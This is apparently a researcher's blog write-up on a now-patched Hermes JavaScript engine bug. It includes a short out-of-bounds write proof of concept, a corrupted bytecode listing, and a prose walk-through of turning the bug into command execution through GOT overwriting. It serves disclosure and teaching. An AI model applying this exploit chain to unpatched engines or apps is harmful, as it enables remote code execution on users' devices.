Hermes TypedArrayBuffer Type Confusion — From Bug to RCE
Posted on Wed 08 July 2026 in Security
I've been looking at the Hermes JS engine on and off for several years. In early May 2026, I picked it up again, and found a great heap OOB read/write bug, in TextEncoder/TextDecoder. I had not yet written a full Hermes exploit, so this seemed like a great opportunity to write an exploit and learn its internals in the process.
Timeline
| Date | Event |
|---|---|
| 9 May | I reported the bug to the Meta bug bounty program, with the attached POC |
| 12 June | Bug is patched: Patch |
| 2 July | Meta tells me this was already reported, and my submission is a dupe. So it goes ¯\(ツ)/¯ |
I used LLM assistance in finding and exploiting this bug, for things such as proofreading, and writing support code. The core work is human generated.
Background
This writeup assumes some basic knowledge of JS engine internals and exploitation. For those unfamiliar, I recommend starting with some of the existing resources on JS engine internals for the basics I also recommend the pwn.college v8 challenges, and maybe even using spaced repetition on them ;)
Builds
For this, I used a mix of the standard debug build, and the release build with debug information. When we get further into the exploit chain, we'll start hitting debug asserts!
cmake -B rel_build -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_EXPORT_COMPILE_COMMANDS=1 -G Ninja
All work was done on a x64 Linux with glibc 2.43.
The bug
This bug is a standard issue in JavaScript engines. In JS, builtin objects have specific properties defined by the language specification.
For example, Arrays have the length property, which describes the number of elements in the array.
The JS language specifies how this property is updated both with normal array operations, such as push, but also how the programmer can setting it directly.
Additionally, a JS programmer can create objects with arbitrary property names, such as length!
Thus, the JS engine itself needs to be careful in differentiating Array objects and their length property from regular objects with the same property name.
This bug class is a well known issue in JS engines, and has been the source of many issues.
In API/hermes/extensions/JSIUtils.cpp, inside of Hermes, we have the following code:
TypedArrayBufferInfo getTypedArrayBuffer(
jsi::Runtime &rt,
const jsi::Value &val,
const char *errorMessage,
const char *detachedErrorMessage) {
if (!val.isObject()) {
throw jsi::JSError(rt, errorMessage);
}
jsi::Object obj = val.asObject(rt);
// Get the underlying ArrayBuffer via the 'buffer' property
jsi::Value bufferVal = obj.getProperty(rt, "buffer"); // A
if (!bufferVal.isObject() || !bufferVal.asObject(rt).isArrayBuffer(rt)) { // B
throw jsi::JSError(rt, errorMessage);
}
jsi::ArrayBuffer arrayBuffer = bufferVal.asObject(rt).getArrayBuffer(rt);
// Get byteOffset and byteLength from the TypedArray view
llvh::Optional<size_t> byteOffset =
valueToUnsigned<size_t>(obj.getProperty(rt, "byteOffset")); // C
llvh::Optional<size_t> byteLength =
valueToUnsigned<size_t>(obj.getProperty(rt, "byteLength")); // D
if (!byteOffset || !byteLength) {
throw jsi::JSError(rt, errorMessage);
}
// Get raw pointer. data(rt) throws JSINativeException if the buffer is
// detached, so we catch it and throw a proper TypeError.
uint8_t *bufferData;
try {
bufferData = arrayBuffer.data(rt);
} catch (const jsi::JSINativeException &) {
throwTypeError(rt, detachedErrorMessage);
}
return {bufferData + *byteOffset, *byteLength};
}
getTypedArrayBuffer is a helper function for TextEncoder and TextDecoder, meant to get the underlying ArrayBuffer from a TypedArray.
We see it getting the underlying buffer at the line commented 'A', which it then checks the type on line commented 'B'.
Further on, it gets the byteOffset and byteLength properties, at the lines commented 'C' and 'D'.
However, neither getTypedArrayBuffer nor TextEncoder/TextDecoder actually check if the object is a TypedArray!
Furthermore, by assuming that the object is a TypedArray, the code also assumes that byteOffset and byteLength are correct for the underlying buffer.
Thus, we can craft an object with these properties, but with the byteOffset and byteLength beyond the end of the buffer.
Here's a quick example, which writes out of bounds of the provided array buffer.
var fakeDestination = {
buffer: new ArrayBuffer(1),
byteOffset: 0x100000,
byteLength: 16,
};
new TextEncoder().encodeInto("AAAAAAAAAAAAAAAA", fakeDestination);
JavaScript is such a great language :)
TextEncoder/TextDecoder
TextEncoder and TextDecoder are Javacript builtins that allow for conversion between strings and underlying representations. TextEncoder goes from a string to UTF-8 encoded bytes, while TextDecoder goes from a number of different encodings to a string.
This underlying bug is symmetric, which allows us to build up both read and write primitives, but we'll need to keep UTF-8 encoding in mind.
Hermes Builtins
My first step was making sure I had a good debugging environment, especially with a JS engine where I'm not familiar with the internals. In V8, there are a large number of runtime builtins to assist with debugging, that one can enable in the d8 repl.
Two simple, but very useful v8 builtins are %SystemBreak() and %DebugPrint() (note that v8 changes JS syntax so that runtime builtins start with %, and require a runtime flag to enable them).
%SystemBreak() causes a basic debugger breakpoint, allowing easy integration with a debugger such as gdb.
%DebugPrint() prints a debug view of a Javascript object, including its address and information about its hidden class prototype chain.
It also helpfully includes type specific information, such as the length/type of the arrays, and the address of their backing store.
I previously wrote a ticket on this link, which was marked as completed. However, I couldn't find the implementation. So, this was as easy as asking Codex/Claude to write a quick implementation.
Here's an example. Note the flag to enable the builtin methods.
let arrBuff = new ArrayBuffer(200);
HermesInternal.debugPrint(arrBuff);
let arr = [1, 2, 3, 4, 5];
HermesInternal.debugPrint(arr);
./build/bin/hermes -Xhermes-internal-test-methods ./foo.js
DebugPrint: [Object JSArrayBuffer:3817 0x7fdb5f847e90]
kind: JSArrayBuffer
address: 0x7fdb5f847e90
allocation size: 88
array buffer data: 0x55eab8973050
array buffer byte length: 200
array buffer external: false
extensible: true
lazy: false
host object: false
proxy object: false
prototype: [Object JSObject:318 0x7fdb5f814d40]
hidden class: 0x7fdb5ebfdf30
own property count: 2
dictionary mode: false
may have accessor: false
properties:
(InternalProperty0): slot=0 flags=---
(InternalProperty1): slot=1 flags=---
DebugPrint: [Object JSArray:3819 0x7fdb5f847f38]
kind: JSArray
address: 0x7fdb5f847f38
allocation size: 88
array indexed storage: 0x7fdb5f847f90
array element storage: 0x7fdb5f847fa8
array storage size: 5
array storage capacity: 5
array begin index: 0
array element count: 5
extensible: true
lazy: false
host object: false
proxy object: false
prototype: [Object JSArray:314 0x7fdb5f814ce8]
hidden class: 0x7fdb5ebfd8d0
own property count: 3
dictionary mode: false
may have accessor: false
properties:
(InternalProperty0): slot=0 flags=---
(InternalProperty1): slot=1 flags=---
length: slot=2 flags=-w- internalSetter
As you'll see later, we'll also need an easy way to dump the bytecode of a function. Thanks to LLM assistance (and manual verification), this was easy as well
FunctionOpcodeDump:
function object: 0x7fc61d0144f8
function environment: 0x7fc61d0144d8
code block: 0x5601f8ad2f30
runtime module: 0x5601f8ac6870
bytecode provider: 0x5601f8af4900
function header: 0x5601f8ad2f38
provider bytecode: 0x5601f8ad9cd0
bytecode start: 0x5601f8ad9cd0
bytecode end: 0x5601f8ad9d04
bytecode size: 52
function id: 1
function name:
function param count: 1
function frame size: 3
function strict mode: false
function was lazy: false
opcodes:
index offset address opcode opHex size bytes decoded
0 0 0x5601f8ad9cd0 GetParentEnvironment 0x34 3 0x34 0x01 0x00 GetParentEnvironment r1, $0
1 3 0x5601f8ad9cd3 CreateEnvironment 0x42 7 0x42 0x00 0x01 0x00 0x00 0x00 0x00 CreateEnvironment r0, r1, $0
2 10 0x5601f8ad9cda GetGlobalObject 0x3d 2 0x3d 0x01 GetGlobalObject r1
3 12 0x5601f8ad9cdc TryGetById 0x48 6 0x48 0x01 0x01 0x00 0x02 0x00 TryGetById r1, r1, $0, $2
4 18 0x5601f8ad9ce2 GetGlobalObject 0x3d 2 0x3d 0x02 GetGlobalObject r2
5 20 0x5601f8ad9ce4 TryGetById 0x48 6 0x48 0x02 0x02 0x01 0x03 0x00 TryGetById r2, r2, $1, $3
6 26 0x5601f8ad9cea Add 0x1e 4 0x1e 0x01 0x01 0x02 Add r1, r1, r2
7 30 0x5601f8ad9cee LoadConstZero 0x97 2 0x97 0x02 LoadConstZero r2
8 32 0x5601f8ad9cf0 Add 0x1e 4 0x1e 0x01 0x01 0x02 Add r1, r1, r2
9 36 0x5601f8ad9cf4 LoadConstUInt8 0x8b 3 0x8b 0x02 0x01 LoadConstUInt8 r2, $1
10 39 0x5601f8ad9cf7 Add 0x1e 4 0x1e 0x01 0x01 0x02 Add r1, r1, r2
11 43 0x5601f8ad9cfb LoadConstUInt8 0x8b 3 0x8b 0x02 0x02 LoadConstUInt8 r2, $2
12 46 0x5601f8ad9cfe Add 0x1e 4 0x1e 0x01 0x01 0x02 Add r1, r1, r2
13 50 0x5601f8ad9d02 Ret 0x76 2 0x76 0x01 Ret r1
Hermes JSObject Structure
In order to begin writing an JS engine exploit, we first need an understanding of how Hermes lays objects out in memory.
For this, I normally use gdb's ptype command. For example, ptype /o hermes::vm::JSObject for the base JSObject structure.
Note that this does not include base classes, and may include padding.
My descriptions are my own, written to be useful later on
JSObject - Actual JavaScript Objects
| Offset | Size | Description |
|---|---|---|
| 0 | 4 | GCCell |
| 8 | 4 | SHObjectFlags |
| 16 | 8 | parent |
| 24 | 8 | Hidden Class |
| 32 | 8 | Property Backing |
ArrayImpl - JavaScript Arrays
| Offset | Size | Description |
|---|---|---|
| 0 | 4 | GCCell |
| 8 | 4 | SHObjectFlags |
| 16 | 8 | parent |
| 24 | 8 | Hidden Class |
| 32 | 8 | Property Backing |
| 40 | 4 | uint32_t begin Index |
| 44 | 4 | uint32_t Element Count |
| 48 | 8 | indexed Storage |
JsArrayBuffer - ArrayBuffer Class
| Offset | Size | Description |
|---|---|---|
| 0 | 16 | GCCell |
| 16 | 4 | SHObjectFlags |
| 24 | 8 | Prototype JSObject |
| 32 | 8 | Hidden Class |
| 40 | 8 | uint8_t * data |
| 48 | 4 | uint32_t size |
| 52 | 1 | external flag |
| 53 | 1 | attached flag |
Building Initial Primitives
Let's take a look at our ArrayBuffer dump from earlier
DebugPrint: [Object JSArrayBuffer:3817 0x7fdb5f847e90]
kind: JSArrayBuffer
address: 0x7fdb5f847e90
allocation size: 88
array buffer data: 0x55eab8973050
array buffer byte length: 200
array buffer external: false
extensible: true
lazy: false
host object: false
proxy object: false
prototype: [Object JSObject:318 0x7fdb5f814d40]
hidden class: 0x7fdb5ebfdf30
own property count: 2
dictionary mode: false
may have accessor: false
properties:
(InternalProperty0): slot=0 flags=---
(InternalProperty1): slot=1 flags=---
Noticably, the backing array is in a different allocation range than the ArrayBuffer itself. Digging around in the source code, I found that Hermes uses both malloc/calloc, and the GC allocator, based on the object being allocated. All of the standard JS objects, and thus the good corruption targets, are from the GC allocator. ArrayBuffer backing array's are from malloc/calloc, and thus our OOB read/write will only easily be able to affect other objects from malloc/calloc.
A quick grep through the source code showed that there are only a few potential targets. The most interesting is that Hermes allocates function bytecode using malloc.
This lead to the following initial exploit plan:
- Use our OOB read to find search for the bytecode of a specific function.
- This allows for greater stability than hardcoded offsets.
- Use our OOB to corrupt the function bytecode. To keep things simple, we'll make a small change that allows us to corrupt a different JS object.
- Call the corrupted function on a JS object, to get a crafted object in the JS heap.
- In particular, we'll use a corrupted ArrayBuffer object to build even stronger primitives.
Intro to Hermes Bytecode
Hermes implements a straightforward register-based bytecode interpreter. Opcode declarations, with human understandable comments are in BytecodeList.def, with the actual implementation in Interpreter.cpp, as a giant switch statement.
Here's a brief example, with the Javascript of a simple function, and the associated bytecode
function foo(a) {
return a + 123;
}
opcodes:
index offset address opcode opHex size bytes decoded
0 0 0x557f49fba290 LoadConstUInt8 0x8b 3 0x8b 0x00 0x7b LoadConstUInt8 r0, $123
1 3 0x557f49fba293 LoadParam 0x89 3 0x89 0x01 0x01 LoadParam r1, $1
2 6 0x557f49fba296 Add 0x1e 4 0x1e 0x01 0x01 0x00 Add r1, r1, r0
3 10 0x557f49fba29a Ret 0x76 2 0x76 0x01 Ret r1
Corrupting Bytecode
From here, our goal is to use our ability to run arbitrary bytecode to craft a Javascript object that we can use for addrOf, read, and write in Javascript heap.
This was easier said than done, as most of the opcodes I looked at validated their operands.
After some digging, I found GetOwnBySlotIdx and PutOwnBySlotIdx.
Most JS engines use the following approach for implementing basic objects (e.g. var a = {b:1.1}):
- Have mapping that goes from the property name (
b) to an integer index. - There's a lot of work done on making this mapping efficient, which is beyond the scope of this writeup.
- This mapping is specific to the object's hidden class (also beyond the scope of this writeup).
- This index is then used to look up the property on a particular object, with different objects potentially implementing their storage differently.
- Small objects generally have their property storage "in line", where it's immediately after the initial object fields in memory.
- Larger objects may have their property storage allocated separately from the object itself.
From our structure layouts previously, our example object a will actually look like this in memory:
| Offset | Size | Description |
|---|---|---|
| 0 | 4 | GCCell |
| 8 | 4 | SHObjectFlags |
| 16 | 8 | parent |
| 24 | 8 | Hidden Class |
| 32 | 8 | Property Backing (null ptr) |
| 40 | 8 | Value of b (1.1) |
As we saw earlier, more complex Objects, such as ArrayBuffers and Arrays, have the same initial object header, followed by their unique data storage.
GetOwnBySlotIdx and PutOwnBySlotIdx implement basic property access on objects using slot indices.
Notably, they assume the base object layout.
Here are the key functions for GetOwnBySlotIdx. PutOwnBySlotIdx is similar but for storing values.
In Interpreter.cpp:
CASE(GetOwnBySlotIdx) {
O1REG(GetOwnBySlotIdx) = JSObject::getNamedSlotValueUnsafe(
vmcast<JSObject>(O2REG(GetOwnBySlotIdx)),
runtime,
ip->iGetOwnBySlotIdx.op3)
.unboxToHV(runtime);
ip = NEXTINST(GetOwnBySlotIdx);
DISPATCH;
}
In JSObject.h:
inline SmallHermesValue JSObject::getNamedSlotValueUnsafe(
JSObject *self,
PointerBase &runtime,
SlotIndex index) {
if (LLVM_LIKELY(index < DIRECT_PROPERTY_SLOTS))
return getNamedSlotValueDirectUnsafe(self, runtime, index);
return getNamedSlotValueIndirectUnsafe(
self, runtime, index - DIRECT_PROPERTY_SLOTS);
}
inline SmallHermesValue JSObject::getNamedSlotValueDirectUnsafe(
JSObject *self,
PointerBase &runtime,
SlotIndex index) {
assert(index < DIRECT_PROPERTY_SLOTS);
return self->directProps()[index];
}
To summarize, these functions provide read/write to object properties, with a slot index provided by the bytecode op, which we control!
Aside - NaN Boxing
Hermes encodes its basic values using NaN boxing. In short, Javascript numbers are stored as their floating point values. Pointers to objects are stored as the pointer, but with the upper bits set, making them NaN values.
Looking through some structure dumps, I saw that normal object properties are NaN boxed.
Because of this, GetOwnBySlotIdx will only do a normal property read.
Arrays and ArrayBuffers, on the other hand, store their backing stores as normal pointers. Thus, we need to use our corrupted bytecode primitive to modify the backing pointers of these objects.
Using Our Corrupted Bytecode
With these restrictions, I settled on using our corrupted bytecode primitive to take the backing pointer of an Array, and set it as the backing pointer of the ArrayBuffer, returning that pointer unboxed.
This results in the following: - Our ArrayBuffer will be pointed at the Javascript heap, allowing read/write access, and further control of JS Objects. - Leaking this backing pointer, giving us an address in the Javascript heap.
The fullly corrupted function is as follows:
opcodes:
index offset address opcode opHex size bytes decoded
0 0 0x55912533e090 GetParentEnvironment 0x34 3 0x34 0x02 0x00 GetParentEnvironment r2, $0
1 3 0x55912533e093 CreateEnvironment 0x42 7 0x42 0x02 0x02 0x02 0x00 0x00 0x00 CreateEnvironment r2, r2, $2
2 10 0x55912533e09a LoadParam 0x89 3 0x89 0x01 0x01 LoadParam r1, $1
3 13 0x55912533e09d StoreToEnvironment 0x37 4 0x37 0x02 0x00 0x01 StoreToEnvironment r2, $0, r1
4 17 0x55912533e0a1 LoadParam 0x89 3 0x89 0x01 0x02 LoadParam r1, $2
5 20 0x55912533e0a4 StoreToEnvironment 0x37 4 0x37 0x02 0x01 0x01 StoreToEnvironment r2, $1, r1
6 24 0x55912533e0a8 LoadFromEnvironment 0x3b 4 0x3b 0x01 0x02 0x00 LoadFromEnvironment r1, r2, $0
7 28 0x55912533e0ac LoadFromEnvironment 0x3b 4 0x3b 0x02 0x02 0x01 LoadFromEnvironment r2, r2, $1
8 32 0x55912533e0b0 GetOwnBySlotIdx 0x54 4 0x54 0x03 0x01 0x01 GetOwnBySlotIdx r3, r1, $1
9 36 0x55912533e0b4 PutOwnBySlotIdx 0x52 4 0x52 0x02 0x03 0x00 PutOwnBySlotIdx r2, r3, $0
10 40 0x55912533e0b8 Ret 0x76 2 0x76 0x03 Ret r3
11 42 0x55912533e0ba Mul 0x21 4 0x21 0x01 0x01 0x02 Mul r1, r1, r2
12 46 0x55912533e0be Ret 0x76 2 0x76 0x01 Ret r1
Our overwrite starts at the GetOwnBySlotIdx, and ends with the Ret instruction.
Aside: GC safe bytecode corruption
While writing this exploit primitive, my code would frequently fail due the bytecode being allocated before the ArrayBuffer that was the source of our R/W primitive.
To overcome this, we can create an arbitrary number of target functions to overwrite. Each contains a unique integer constant, as part of the byteccode. Thus, when using our R/W primtive, we can tell which target function we are overwriting.
Expanding Primitives
At this point, we've got an ArrayBuffer that gives us R/W access to the GC heap. From here, we can use standard Javascript engine exploitation techniques.
We make a "leak object", with one property that's easy to find in memory, using our ArrayBuffer R/W primitive.
We can set a property on this object to be a different object, and then read it out, to get an addrOf primitive.
We make yet another ArrayBuffer, leak its address, and then overwrite it's backing pointer, to get full arbitrary read/write access to the target heap.
Of note, our read/write demo script works just was well on Aarch64 Mac, as x86_64 Linux :)
Getting code exec
First, we need to get addresses for the main executable.
Hermes native functions keep pointers to the main executable, so it's as easy as getting the address of a builtin function, and then reading the pointer using our primitives.
Now, we're at the point of needing offsets specific to the target executable. For this, I wrote a quick pwntools script to dump offsets, in a form that we can easily copy/paste into our exploit primitive code. Since we are exploiting a Javascript engine, we theoretically could write tooling that uses our R/W primitive to fully parse the executable in memory, and extract offsets, but that's not necessary for a proof of concept such as this.
My approach is as follows:
- Use a native function (
Array.prototype.push) to get a reference to the main executable. - Use that reference to calculate base of the executable.
- Use the base of the executable to find the GOT, and leak an address into libc.
- Use the leaked address to calculate the base of libc, and then use that to find the address of the
systemfunction. - Overwrite the GOT entry for
qsortwith the address ofsystem, and then callsorton a TypedArray, whose elements are the string of a command to run.
And that gets us command execution!